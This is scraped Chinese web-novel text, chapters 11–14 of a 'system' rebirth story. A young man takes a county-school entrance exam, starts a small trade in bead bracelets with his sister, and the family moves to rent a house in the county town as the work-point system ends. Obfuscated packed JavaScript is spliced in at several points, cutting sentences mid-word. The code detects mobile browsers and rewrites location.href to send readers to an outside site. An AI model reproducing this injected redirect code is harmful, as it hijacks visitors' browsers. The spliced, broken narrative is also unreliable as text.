以前他没想过,因为大队上的人都是这样过来的,祖祖辈辈都是,可是现在每个人似乎都有了自己的想法,就连一直对什么都散漫不上心的成哥,也有了参加高考的念头。 他是不是也应该做出一些改变? 周楚成很意外,也很欣慰,那时候他只是说了这么一段话,压根没指望有人真的听进去,可赵小鹏显然是听进去了,甚至还自己在思考。 他就说,他兄弟不可能跟系统说的一样,在小说里连个出场的角色都混不上! 到达终点,拖拉机慢慢停了下来。 周楚成从拖拉机上跳下:“行,你有这个想法,等你生日的时候,咱们好好聊聊。” “嗯!”赵小鹏用力点了点头,“成哥,考试加油!” 拖拉机轰隆隆地来,又轰隆隆地走远。 周楚成抬头,“县城中学”几个毛笔字做成的门牌就在眼前,门卫大爷从传达室里伸出个脑袋:“学生证!” “大爷,我是来参加联办班入学考试的。”周楚成笑眯眯地把公社中学那边准备的准考证给递过去,大爷眯着眼睛看了一眼,“进吧。” “谢谢大爷。” 一步踏进县城中学的校园里,周楚成举目四望。 他对学校的记忆还停留在公社小学的破败中,永远找不到遮蔽脑袋的砖瓦,下雨天外头下大雨,里头就发洪水,夏天偏又热得人坐不住,蚊子嗡嗡叫得老师说什么都听不见。 县城中学却已经修起了几层高的小楼,朗朗的读书声随处可闻,砖红的墙壁上,写着“为中华之崛起而读书”的励志标语,不时有学生从他身边经过,看着这个陌生脸孔满脸疑惑。 随即他们就转过头去,又讨论起高考和以后发展的问题,甚至还讨论着即将传达到地方上的改革开放会是什么样子,可在红旗大队,没人会说这些,“改革开放”这个词,更是没人听说过。 周楚成深深吸了口气,越发疑惑。 他妹又不是困在红旗大队那个小世界里见不了世面,她成绩好,不可能没考上联办班,也不可能没参加高考……怎么后来就变成了小说里那个“目光短浅”“自私自利”的乡下土妞? 这里头绝对有问题。 周楚成按捺下心里的疑问,摆在他面前的第一道坎就在眼前——他得和他妹一起考上联办班,他就不信了,有他天天盯着,他妹还会步上辈子后尘! 11. 第 11 章 红旗公社的考生其实不多,但县城中学这一次联考班却是面向整个农村地区二十来个公社,最远的甚至前两天就赶来县城,等周楚成找到考场的时候,他们正收拾着铺盖筒塞到竹篓里,等着考试完了再背回家。 这所谓的考场,也就是个旧平房,和县城中学的那些教学楼比起来要朴实简陋得多,今天恰好天上也没出太阳,秋风呼呼地往里头吹,冻得人还有点手冷脚冷。 周楚成环视了一圈,公社中学的估计都是统一分配到另一个教室去了,他一个也没见着,周围都是些不认识的陌生面孔,其中一些显然互相认识,正聚集在一起临时抱佛脚。 一个说肯定会考这个题,一个说肯定会考那个,几人说着说着还争论了起来,周楚成无聊地闭上眼养神,要说刷题,他之前刷得已经够多了,真到了考试的时候,还是积攒一点精神等会做题比较好。 但这群人的讨论很快就熄了下去,一个教师模样的男人抱着一摞卷子走了进来,把所有人叫到了位置上坐好。 随着县城中学早上上课的铃声响起,他用戒尺拍了拍讲台:“第一堂先考语文,都坐好,马上考试!” 卷子一个个发到手里,还带着浓浓的油墨味,上头的字迹都是手写,运气好,每个字都清晰,运气不好,有些字还得费点力才能看清。 卷子一展开,房间里不少考生就倒吸口冷气。 ——比他们复习的那些题目更难! 一下子你看看我,我看看你,这边还在发卷子,房间角落里已经响起了嗡嗡的低声讨论。 监考老师把还没发的卷子往手里一捏,皱着眉头拍桌子:“肃静!不许东张西望!作弊马上取消考试成绩,通报公社!” 被拍桌子的周楚成:…… 如果只有前半句话,大概是没人会当真,但加上取消成绩这个惩罚,甚至还要通报给各自的公社,这谁也接受不了,那在村里不就没脸见人了吗! 眼见自己的话有了点威慑力,监考老师这才冷哼一声,把卷子发到了周楚成手里,转身去发下一个。 语文考试一直是所有科目里最好拿分的科目,但周楚成真正拿到卷子,却发现它比系统平时发布的那些任务和习题还要简单。 什么加标点符号,什么考察某个词汇能不能写出来,都完全是送分题,唯独难一点的就是文言文,但对于刷过无数套文言文题目的周楚成来说,这些东西都跟数学公式一样,直接套就完事儿了。 用时间最久的,竟然是最后的作文,不是题目不好写,而是周楚成打算好好攒一攒卷面分,数理化这些只要能看清晰就行了,但语文这种科目特别看卷面分,按照他妹周晚给他说的,公社中学的老师有时候给分,差不多的两篇作文,一篇字迹好,一篇字迹差一些,中间能差出去三五分。 这三五分,在关键时刻就决定一个人一生了。 只是周楚成的字没经过训练,哪怕他写得慢,勉强也就算是个端正,就这样,最后一个标点符号落下,考试结束的铃声也同步响起,就只来得及在卷子上吹一吹,把那些多余的油墨吹干,必须就得交上去了。 监考老师把卷子往密封袋里一装就往外走,他身影消失,整个屋子里顿时响起了此起彼伏对答案的声音。 “派遣的遣字是不是这么写?对了,你改错第三个选的什么?” “文言文那句‘何为为我禽’怎么解啊,我想了半天想不出来那个禽字是什么意思!” “那是通的‘擒’!” 周楚成活动了一下手腕和脖子,脑子里也有一点想法:“系统,我想练字。” 【恕我直言,宿主这个年龄才开始学毛笔,并不能成为书法大师。】 “能不能学?” 【能,不过每周额外增加25小时的技能训练任务,不建议宿主这种弱鸡挑战。】 说谁弱鸡呢! “有奖励吗?” 【有】 “加!” 一天不到四个小时,对于现在的周楚成来说,简直是债多了不愁,虱子多了不痒,但是能有奖励,对他来说就是天上掉馅饼。 ……所以,系统是鼓励他主动“自己给自己找任务做”? 周楚成隐隐明白了这个系统的运行逻辑,什么炮灰男配逆袭……不如叫劳动改造系统算了。 他这边正想着,刚刚监考的那个老师又走了进来。 接下来的考试,每一门对周楚成都没什么难度,数学、物理、化学……全是他平时刷题都快刷疯了的科目。 不过即使如此,他也隐隐约约感觉到了出题的刁钻,有些题题目陷阱埋得很深,有些题计算要找技巧,要不是系统逼着他白天黑夜地做题,他都做出了条件反射,有几道题还真就差点踩坑了。 …… 监考这个考室的不是别人,就是负责理科教研的年级主任王德英。 联考班这个主意,是他主动提出来的,但其实王德英自己也背负着很大的压力——联考班要用的是县城中学的教学设备,要共享的县城中学的师资力量,学校里很多人不说,但内心对他多管闲事很不满意。 所以他们才会在题目上弄出那么多难题来,这就是委婉地劝退这群乡下学生。 哪怕王德英对他们的做法颇有微词,可理由就摆在眼前:“要是连这个题目都做不好,还考什么大学,拉低了我们的升学率!” 有些学生还是大老远翻山越岭地跑来考试,在县城里连住的地方也没有,招待所去不起,也没有介绍信,干脆就在考室这些平房里头打地铺。 可是有啥用呢?做不来题目,进不了县城中学,各地的公社中学又在慢慢取消合并,这群学生考不上大学,他就算再遗憾,再惋惜,也没用。 就在这时候,他注意到了周楚成。 最开始考语文的时候还慢慢悠悠的,到后头一科比一科快,在一群速度越来越慢,眉头皱得越来越厉害,甚至开始流汗的考生中,这学生显得有点格格不入了。 王德英走到周楚成桌边,留心观察着对方的卷子。 写得满满当当,有条有理,看上去不像是做不出来,胡乱写些东西糊弄,反而像是胸有成竹,这些题根本难不住他。 再一看桌子左上角,写着“周楚成”,“红旗大队”,王德英的眉头皱了皱。 红旗大队?不是红旗公社中学? 难道是抄写的时候漏掉了? 考试结束铃响起,王德英收回思绪:“停笔,交卷——谁要是继续写,卷子成绩计零分!” …… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135882|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >考完散场,几家欢喜几家愁,离得远的那些学生却来不及伤心,现在就要赶紧收拾东西往家赶,不然明天也到不了公社,周楚成慢慢随着人流往外走,一眼就看见了人群里的妹妹:“周晚!” “哥!” 周晚一脸惊喜地迎上来:“考得怎么样?” “还行,你呢?” “有几道题有点难,算得慢了一点,我感觉应该还不错!” 周晚的成绩一向在公社中学都好,这次考试她又不像周楚成一样被单独分出去面对一群陌生人,在熟悉的环境里,就像是迎接了一场难一点的期末考试而已。 周楚成看着妹妹眉开眼笑的样子,也跟着笑了笑,目光投向了旁边的一男一女。 许芝灵怯怯地叫了一声“楚成哥”,周敬还是一副老学究的样子,哪怕考完的试也抱着一沓复习资料,看着周楚成叫了一声“小成”。 声音有点别扭,显然是不太乐意给周楚成好脸色看,但不知道是前头那次测试让他对周楚成有了一点改观,还是因为今天考试,周敬也不想让堂弟心情不好……甚至是因为心上人在旁边,总而言之,周敬今天态度竟然还不错。 周楚成咧了咧嘴,周敬对他客气,他也不会没礼貌:“敬哥。” 考虑到偏远地区的学生,入学考试的时间其实压缩得很紧张,但再怎么样也是好几门考试,全部考完下来,每个人都饿得前胸贴后背。 家里倒是给了几个馒头,但都到县城里来了……周楚成转了转眼睛:“咱们就在县城吃饭呗,下馆子!” 下馆子? 光是听到这几个字,就足以让众人食欲大开,在乡下哪怕是再爱护儿女的人家,一顿饭能沾点荤油,那都是铁板钉钉的“败家”,想顿顿吃肉?简直是痴人说梦。 可县城里头就是另一副样子,哪怕隔着一道中学校园的墙,外面还是有肉有菜的香味儿,顺着风飘进来。 本就饿了的几人,这下子肚子是咕噜咕噜叫了个不停。 许芝灵有些为难:“我就不去了,我没带粮票。” 这年头,国营饭店就不是一般人能去得起的,不仅得有钱,还得有票!听说里头的服务员一个白眼,再富贵的人家也不敢放肆——那些服务员可真是敢打人的。 少女粉面含春,说话娇娇怯怯的,周敬想也不想就说道:“我带了,我帮你给!” 说完还不等许芝灵回答,他自己先闹了个大红脸,周晚捂着嘴巴“噗”了一声,知道堂哥对她小姐妹有意思,却没想到比她想象中还要痴情! 要知道周敬可是“老周家的骄傲”,什么时候露出过这种愣头青的青涩模样? 慌张起来一会儿弄眼镜,一会儿又摆弄怀里的书,也不知道瞎忙活什么。 许芝灵低下头,像是没听到这句话。 周楚成指了指斜对角的一家小门面:“不是国营饭店,去吃包子铺。” “包子铺?” 软软香香的大包子,皮薄馅儿厚,光是想一想就流口水。 周晚不争气地咽了咽喉咙,第一个举手支持,许芝灵迟疑了一下,也点了点头——她都要去,周敬耳朵哪怕再红,也要故作矜持地颔首:“我也去。” 四人一拍即合,决定先在县城吃一顿包子再回去。 12. 第 12 章 包子铺,丈夫在里头揉面包包子,添馅儿的手飞舞得快出了残影,老婆就在档口招呼几个走过来的学生:“酱肉鲜肉都有,要吃点啥?” 周晚爱吃鲜肉,周楚成买了一斤鲜肉,半斤酱肉,另一边周敬买了半斤鲜肉,塞了两个到许芝灵手里。 到底不是国营饭店,规矩是死的,人却是活的,知道几人手里头粮票不够,半票半现钱的,倒也收了。 包子是一块钱一斤,在这个年头已经不便宜,要知道乡下一年到头的辛劳,恐怕也就换个十来张大团结,幸好周家有个能“挣外快”的周红军,在乡下,木匠手艺也是一门刚需,哪怕是再爱惜家具的人家,用个几十年的老木凳子也得打新的。 更别说还有些条件稍微好点的家庭,儿子娶媳妇还得打婚床,盖了新房子还得打五斗柜,木匠就没有找不着活干的时候,周红军也因此攒了不少私房钱。 不过,比起县城来,还是九牛一毛。 几人一边吃,一边在县城闲逛,光是门口挂着木牌,写着“接木匠活儿”,“会打家具”的就有好几家,还家家都不缺活干,就这么一小会儿,就有人匆匆忙忙地过来问,要么是箍桶,要么是修家具,生意看上去别说多红火了。 而木匠只是县城发展的一个小小的缩影,周楚成留意观察了一下过往的男女老少,最显眼的就是这些人身上的衣服。 他们几个大队上来的,身上穿着一样的绿色工装,在红旗大队上,这身工装常见得不能再常见,再背个小布包,踩一双解放鞋,简直就是家家户户的日常装扮。 可县城呢,已经换上了看上去更潮流的直筒裤,白衬衫,年轻女孩一些烫着大波浪卷,要么就是剪短成“□□”,烫成四六开的偏分,洋气又时髦。 一个穿着红色长裙,外面披一件白色毛衣外套的年轻女孩踩着小皮鞋走了过去,一头飘逸的长卷发从众人身边掠过。 周晚和许芝灵两个大粗辫子显得格格不入。 时代在变,周楚成敏锐地意识到这一点,穿着是变化最明显的标志。 他想起了系统“剧透”的那些剧情里,除了他这个炮灰的剧情,其实还有一些让人听了目瞪口呆的事情——比如说,票证会取消,现金才会成为未来的主流,再比如说,国营饭店甚至会被刚刚那样的包子铺给“掀翻”。 改革开放的春风早在去年就开始吹了,不会有多久,它也会吹到这里来。 周楚成手痒痒的,把妹妹叫了过来:“你觉得刚刚那姑娘怎么样?” “刚刚?”周晚好奇地回头看了一眼那漂亮背影,“哥,你对人家一见钟情啦——哎哟!” 周楚成面无表情地在妹妹脑袋上弹了一下:“你没注意到她手上的手串?要不要做笔生意?” 提到生意,周晚顿时也不叫疼了。 两人从小到大,不知道做过多少所谓的生意——周晚的私房钱不少就来自于和她哥的搭伙。 她认真回忆了一下刚刚走过去那个女孩的手串……淡紫色的透明珠子,上面还印有白色的花纹图案,太阳一打下来,那透明珠子就亮闪闪的,衬得人皮肤也白,大队上和她一样年纪的女孩子都还只有简单的红头绳,顶多就是多一条红绸子,别的装饰品几乎没有。 不是她们不爱美,而是公社供销社根本买不到。 但周晚扪心自问,如果她看到一副这样的手串……她会买吗? 答案毫无疑问是肯定的,周晚眼睛亮亮的,果断点头:“做!” 周楚成想要把握住时代的机会,读书要读,赚钱也不能少赚,周晚更是个小财迷,兄妹俩老规矩五五分成,两人一合计,剩下的钱全拿来“进货”,剩得只够买回乡下的牛车票,全用来买了同样的手串,塞了满满两大包。 一行人坐上牛车,和来时不一样,早上那是要考试,赶时间,回去时间没那么紧张,牛车虽然慢,但有一个天大的优点,那就是便宜,正好符合他们的出行需要。 只是位置就远不如中学送他们来的车斗那么宽敞,周敬还好,周楚成人高马大的往那一坐,位置都拥挤起来,幸好这一趟也就他们四个人,牛儿嘴巴里嚼着草,车夫喊了一声号子,车子就慢慢悠悠地启动了起来。 回去的路还远着,周敬原本还想夸堂弟几句,毕竟周楚成这段时间是真的老实,他这个当堂哥的看在眼里也觉得欣慰,谁知道一转眼,这人又不知道带着妹妹跑哪儿去了,等再出来的时候,包里头鼓鼓囊囊的,显然又是买了一大堆东西——而且绝对不是教辅资料。 真是江山易改本性难移,周敬转过头去,决定无视周楚成的存在,然而脑袋转到另一边,却恰好又和身边的许芝灵四目相对,虽然只是座位坐在一起,但还是给他闹了个大红脸,下意识往旁边让了让,有意想移开目光,可内心又恋恋不舍。 回了大队,又不知道要用什么理由才能见上一面……他总不能天天黏在堂妹身边吧,不说周晚会不会不自在,周楚成第一个就要跟他干架了。 他妈也说了,这次联考班只要考上,就转过手来安排提亲的事情,不是要许芝灵和他马上就结婚,而是由父母出面,表示一下对女方的重视,这是大队上的传统,相当于过了明路,就当成未婚夫妻那样去处对象。 毕竟,不结婚要谈恋爱,那都是耍流氓! 周敬性格保守,既然家里还没去说,他也不好对许芝灵太亲近,可到底是年轻,自己喜欢的姑娘怎么看怎么漂亮,哪怕是树叶掉在她头发上,也显得那么俏皮可爱,更别说这一趟县城之行,周敬有了几次和她说话的机会,许芝灵有礼貌,还客气,一点不骄纵……她根本就没有缺点。 还有一点让他格外怜惜的是,许芝灵这段时间因为努力复习功课,身体不太舒服,今天有些安静,上了牛车就靠着背后的挡板睡着了。 要是他们俩处成了对象,他一定要好好呵护她——他们一起考大学,一起奋斗未来,没什么比那更美好的事情了。 周敬忍不住嘴角勾起了一抹笑容,对面的周楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135883|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成看了堂哥一眼,又看了看他旁边的许芝灵,从几人买包子的时候,他就注意到了自家堂哥对许芝灵格外地上心,这也不难理解,毕竟是暗恋对象,甚至还为了这事儿专门跑到他家来,又是问他妹,又是找他妈商讨。 可许芝灵的态度却明显没有周敬那么热情,与其说她是年轻女孩面对追求者的矜持,周楚成总感觉她更像是在回避。 这个念头也就在他脑海里浮现了一瞬,总归不是他家的事,只要不是和他妹有关,他都觉得无所谓。 说起来,蒋渣渣这几天好像没有再找他妹。 是顾及着他妹考试在即不好分心呢,还是说这人心里又在打什么小算盘呢? …… 蒋南的日子并没有多好过。 他家倒是不缺各种票,但天高皇帝远,他下乡到红旗大队这么偏僻的地方来,就是握着金子也难换到好东西。 唯一的办法就是托人从城里买,但也不是时时刻刻都有人闲着帮这个忙,更不用说每次托人,是既花了钱,还欠了人情。 但这些都不是问题。 真正的问题在于,蒋南不想再在这里待下去了。 土墙砌起来的房子,冬天冷,夏天热,偏偏又没有光照,一进屋子就黑得不得了,大傍晚的就得点上油灯才能看清,床铺会潮湿发霉,还会钻虫子进去。 蒋南从小就没过过这样的苦日子。 可是他不能抱怨,尤其是在回城这个当口,所有知青都谨小慎微地收起了平时的脾气,指望着能快点回去,回回蒋南抱怨的话都到了嘴边,又收了回去——说不出口。 而且,说了也没人理解,就像周晚不理解他为什么非要执着于现在回城,在其他知青眼里,蒋南也是没烦恼的大少爷,反正缺什么,那边总会拍电报来。 甚至有人酸唧唧地在背后说:“要是我也有蒋南那样的好命,投胎到有钱人家里,回城也就是一句话的事。” 可是事情没有这么简单,他要回去占住位置,那个位置当然别人也想要,蒋家现在能帮他留住,不代表以后也能。 偏偏就在这件事上,他一次次地碰壁,光是跟周晚闹得不愉快,就已经有一两次了,事不过三,再这么下去,显然会破坏两个人的关系。 一边是爱情,一边是前途,蒋南觉得自己进退两难。 就在这时,外头响起了叫他的声音:“蒋南,蒋南!” 一个穿着中山装的男知青掀开门口的帘子探头进来:“外头有个年轻姑娘找你!” ……难道是周晚? “我马上来。” 蒋南应了一声,抬脚就往外走。 走了两步又想起来还没整理仪容,又在门背后挂着的那张小镜子上仔仔细细地捋平衣领上的褶皱,将头发往后梳了梳。 可到了知青驻地门口,见到的却不是周晚,而是另一个年轻俏丽的面孔。 “蒋知青。”许芝灵有些怯怯地开口道,“……不好意思,我没打扰到你吧?” 13. 第 13 章 等待入学考试成绩下来的这段时间是最难熬的,更不要说周家人还是头一次要等待两个孩子的成绩,但眼下他们却来不及为这件事忧心,因为还有一件更重要的大事,摆在他们的面前。 ——工分制度马上就要取消了! 工分,在大队,在公社,在所有人的眼里,是规则,是铁律,是不可能改变的,和天上月亮星星一样的存在,没有工分,那就没有饭吃,工分多,那就能过个好年,这是再朴素不过的想法。 然而这个存在面临打破。 红旗大队这个穷沟沟在春风吹来的小尾巴上,也终于学习到了重要文件的精神,要改革开放,要迎接更自由、更繁荣的发展时代,大队长开完会回来,就见天地在大队部里坐着抽旱烟,听收音机,反反复复温习那些重要讲话,恨不得把每个字都抠出来细细品味。 大队长这个领头羊尚且如此,下头的村民们就更是找不到主心骨了,有心的不等过年就杀上鸡鸭,拎上一筐鸡蛋,要找大队长探探风向,也有胆小的,生怕时代的一粒砂降落了下来,就像是一座山一样把人砸死,心里怎么想怎么都不能接受。 但无论大伙儿怎么想,工分没了用是铁板钉钉的事情,没了胡萝卜,就是生产队的驴都不肯拉磨,何况是人,上工时所有人的积极性肉眼可见地往下滑了一大截,沈桂香在的劳工队更是唉声叹气,不知道未来路要往哪走。 周红军却有点内幕消息。 因为他是个木匠,大队上算工分的时候,手艺人的算法其实是和别人不太一样的,别人是按做农活,他们则是按做手工活算工分,一个公社能有两三个木匠,十里八乡也都彼此认识。 这回工分制度取消,首先捕捉到风声的,就是他认识的一个老木匠。 “说是以后咱们也不用困在一个地方,只要有介绍信,想上哪儿去做活儿,就都能去。”夫妻俩说体己话的时候,周红军就把这事儿和老婆沈桂香说了,“有些胆子大的,现在就已经开介绍信出去了,大不了就是后头的工分不要了,前头攒下来的工分还能换粮食,到时候卖了换全国粮票,一点问题没有。” 老木匠也打算出去,还一点不近,打算南下往沿海那边去找找路子,毕竟连大领导都说了,那边要大力发展,总不会缺机会,两个儿子,一个继承了他的手艺衣钵,跟着他一起走,另一个老木匠要送去读大学。 老木匠这么果断的决定,多少影响了周红军,他内心也有些活动,之前女儿周晚是在公社中学读书,都是乡里乡亲的,离得也算不上远,都习惯了她每天去回,可要是两个孩子考上了联办班,那就是要在县城念书,回来的路就远了。 他完全可以开封介绍信,去县城里接活儿。 周楚成和周晚回来可都说了,县城里现在可繁华,比红旗大队不知道有钱到哪里去,他可是粗木匠细木匠都能做,总不能挣不着钱吧? 等到晚上,再接上两孩子一起回家。 周红军觉得自己想法可好了,谁知道念头刚一说出口,就被老婆给赏了个白眼,沈桂香知道丈夫一贯抠抠搜搜的,没想到他连做事儿也这么抠搜——都已经听人家话说到那份上,还是这么畏畏缩缩。 要是能进县城,还接什么孩子,“咱们直接搬到县城去!” 周红军被老婆的大胆给吓了一跳,拨浪鼓似的直摇头,他们都是乡下人,怎么搬得了?就是买房子的手续也办不成啊! 沈桂香恨铁不成钢地点丈夫脑门:“你傻的呀,谁说要买——我们租,租房不行吗!” 周红军讷讷道:“可我们也没钱啊。” “你也说了,前头咱们攒的工分不可能就这样算了,大队长就是想,他也不敢这么做,否则不给大伙儿把皮扒了。”沈桂香分析道,“那无非就是两条路,一条就是你刚刚说的,换成粮食和粮票,还有一条……就是折成现钱。” 周红军点了点头。 “对咱们乡下来说,现钱没意义,你拿着钱又花不出去,但是粮食那是命根子,他们肯定会选粮食和粮票。”沈桂香道,“地里粮食不可能供得上那么多人换,只能排队,如果这时候咱们说不要粮食,要现钱呢?” 周红军下意识答道:“马上就能给。” “没错,不仅是给,而且是很痛快地给,你想想,换成你,你愿意天天面对一长溜的人催你要给他们粮食兑现工分,还是愿意赶紧用钱把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“爸,时代变了,咱们也得变。”周楚成说道,“你想想,到了县城,晚晚每天都能回家吃午饭,不用再啃冷冰冰的馒头,县城环境又好,不用天天对着鸡舍猪圈的……县城还能喝牛奶,晚晚高考肯定能考得好。” 周红军白了他一眼,字字句句都是说妹妹,又把自己摘出来了,“说得像你不用高考似的!” 但儿子的话,确实让他心动了,如果说沈桂香的话还只是推测,那眼前一张张大团结,无疑就是一锤定音的锤,周红军用力点了点头。 “……行,咱们去县城!” 14. 第 14 章 说干就干,既然有了进县城的打算,周家人直接就采取了行动——去县城里看房子。 倒不是周红军这人瞻前顾后,而是这个时代规则如此,没有房,人就没有根,就不说别的,出门在外,连一个代表自己身份的介绍信都开不出来,完全就是“黑户”。 赶在工分取消第一天,队上其他人都还在纠结到底要怎么换,两口子一拍即合,用送儿子女儿去县城上学这个县城的借口,从大队长那折算了工分,一家四口坐着驴车就上了县城去。 周楚成和周晚都是第二次来县城,没上次那么惊讶,可周家夫妻俩不同,沈桂香是沈家村嫁过来的媳妇,周红军祖上三代都是贫农,两人是睁开眼睛开始,就没踏出过乡村那一亩三分地。 这一下子见到了和大队上,和村里完全不同的景象,两人下巴都快掉下来了! 让妹妹陪着父母,周楚成看似随意地出去转悠了一圈,回来身边就多了个留着板寸的年轻小伙,说是叫耿勇,来帮他们挑房子的。 耿勇听说是让他帮忙找租房,一开始还有些犹豫,等到见了周家其他人,发现竟然是全家出动,心里这才踏实了许多——一家人来,不说能不能成,至少不是忽悠他玩的,于是主动热情地和他们攀谈起来。 周家夫妻这才知道原来耿勇从小就在县城长大,爸妈都是厂里的工人。 沈桂香有心问问这房子是怎么来的,耿勇笑了笑。 “……里头弯弯绕绕的也多,我和您打个比方,厂里头有了新婚小夫妻,要是两家厂子效益一般,那就给他们分到其中一家厂子的福利房,要是阔绰,那就能分到两间。” 耿勇介绍道,“这福利房能住不能卖,一家人也用不着那么多地方,还得三不两时来看着,所以就有人动了想法,打算租出去,房子有人气儿,自家也多一点贴补。” 说话间,耿勇带他们到了地方,看上去是个不宽不窄的胡同,两边一字排开往里延伸的小院,耿勇朝其中一家招呼了一声,跟着就拿了钥匙过来,把旁边那间小院的锁头给打开来。 “这家是棉纺厂的,家里就是我刚说的那样,结婚多分了房,现在小两口住钢铁厂那边,这边就空出来了。” 里头是个四四方方的小院子,一间矮矮的平房坐落在院子中央,平房里头进去先是一个单独的客厅,然后就是厨房、卫生间,东、西有两个卧室,周红军皱起眉头,摇了摇头:“这太小了吧!” 跟农村的院子比起来,逼仄得不得了。 “叔,这可是我能找着家属院里比较大的了。”耿勇苦笑一声,“您就看这独门独院的,就不知道比别家好出去多少,里头两个卧室也宽敞,想改的话还能再改一间卧室或者书房出来,还有单独的卫生间!” 周楚成冷不丁问道:“这间院子怎么租?” “十块钱一个月,不要票,只要现钱,一个月交一次。” 十块钱,和之前兄妹俩跟爹妈说的数字一样,周红军当时只是觉得这个数字有点高,现在实地来看了之后,他有点咋舌了——县城的房子是又小又贵! 周红军心里漫上来一点退意,但在家里他说话可没发言权,沈桂香瞅一眼丈夫的表情就知道他在想什么,她不动声色:“还有没有别的?” 耿勇爽快地点点头:“有,我带你们去看看。” 他倒是不藏私,把县城有家属院儿的带着周家人看了个遍,可就像他刚刚说的那样,便宜的院子条件更差,有一家只要5块钱一个月,可一个院子里整整挤进去了五家人,就周家人过去看的时候,还正好撞上这五家人为了谁先打水吵得翻天覆地。 这谁敢住?别说五块钱,就是不要钱沈桂香也不肯啊,天天这么闹腾,两个孩子读书怎么办?! 也有的没挤着住进去多少人,但房东却条件苛刻,墙也不许动,也不许另隔屋子,更不准在院子里种菜……养花都不行,一副随时要杀回来占房子的架势,周家人才不想上赶着给人当软柿子捏,当即就回绝了。 看来看去大半天,最后最合适的竟然还真就是这家院子! 有了前头那些房子的铺垫,周红军这下看这院子是哪哪儿顺眼,沈桂香没丈夫那么别扭,想着城里房子就该和乡下一样——那人家城里人还吃商品粮,他们乡下怎么还在吃杂粮馍馍? 要搞清楚来城里的目的,他们来这儿不是为了住比乡下更大的屋子,而是为了换一个更好的环境,为了让两个孩子能安安心心读书高考,只要这一点能满足,沈桂香就满意! 她转头问儿子女儿的想法,周楚成耸了耸肩:“我觉得挺好的。” 周晚也用力点点头:“妈,这儿可安静了,没鸡鸭叫,也没猪圈的臭味,晚上还有电……可以开电灯看书呢!” 孩子们都这么说了,沈桂香也不矫情,问起耿勇这个房子怎么租,耿勇开始看他们对哪个院子都没表现出特别喜欢的样子,还以为今天开不了张,谁知道峰回路转,竟然把最贵的一套院子给租出去了! 他当然要拼命把这个单子给留住,当即就让周家人在院子里稍坐一会儿,他自己噔噔噔地冲出院子,骑上二八大杠就去厂里找房东,没过多久带着人折返,两边坐下来仔仔细细地写了一份契约书。 房东主动给周家人做了自我介绍,原来他姓邵,叫邵家成,他媳妇结婚后没多久怀了孕,这边院子宽敞,却离厂里医院远了点,一家人才搬回去住了,看到周红军介绍信上写的木匠,邵家成有些客气地笑了笑:“要是我家什么时候需要打家具,到时候来联系你。” 听说周晚和周楚成两人从红旗大队考上了县城中学,现在是高考班的学生,邵家成的笑意更浓了,连说了几句好:“现在大学生可金贵,咱们厂里才下来了一个大学生,一来可就是助理工程师,现在文凭比什么都重要,你们也要抓住机会考上大学!” 或许是因为这一层关系,邵家华主动提出降了一块钱的月租,免了押金,这样一来,一个月就是九块钱,周家人也投桃报李,一口气交了半年的租金,还提出可能要改一改屋子的格局,邵家华也大方地应了。 一式两份的契约落成,两边签了名字盖了手印,耿勇手里那把备用钥匙和上邵家华的钥匙一起给了周家人,后者没有久留,他还要回厂里上班,匆匆忙忙拿着契约走了,耿勇也知趣地没在这个时候打搅他们,他正打算留了张纸条给周楚成,周楚成却主动走了过来,揽着他的肩膀:“我送送你。” 哥俩到外头不知道说什么去了。 院子里没了外人,剩下三个人你看看我,我看看你,忽然觉得这一天过得有点不可思议。 他们竟然真的进城了,还在县城里租了套房子! 周红军还有点患得患失,一会儿从院子外头走进来,一会儿又走出去,院子里有一套石头打的桌椅,沈桂香默默坐着也没说话,最兴奋的还要数周晚,几乎是契约书一落成,她的笑容就没落下来过,一个劲儿在屋子里转啊转。 东卧室更大,光线也好,肯定是留给爸妈的。 西卧室就得她和她哥分着来了,也不知道是横着从中间分一分好,还是竖着分比较好? 还有书桌,他俩可都要看书呢! 小姑娘这会儿就幻想起了之后的事情,半晌才看见周楚成进来:“哥,你跟耿大哥说些啥了?” “也没什么,就是问了问他家住哪,怎么联系,以后要是有什么需要帮忙的,直接去找他。” 周晚有些好奇:“你说他做这个事儿又不能挣钱,图啥呀?” “谁告诉你不能挣钱的?”周楚成似笑非笑地点点妹妹的脑门,“租出去咱们这个小院子,他里头不知道能落下多少好处。” “真的假的?”周晚震惊了,“可是……可是房东不也说的是这个价钱吗?” “有些东西不能单看钱。”周楚成耐心地把事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149914|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 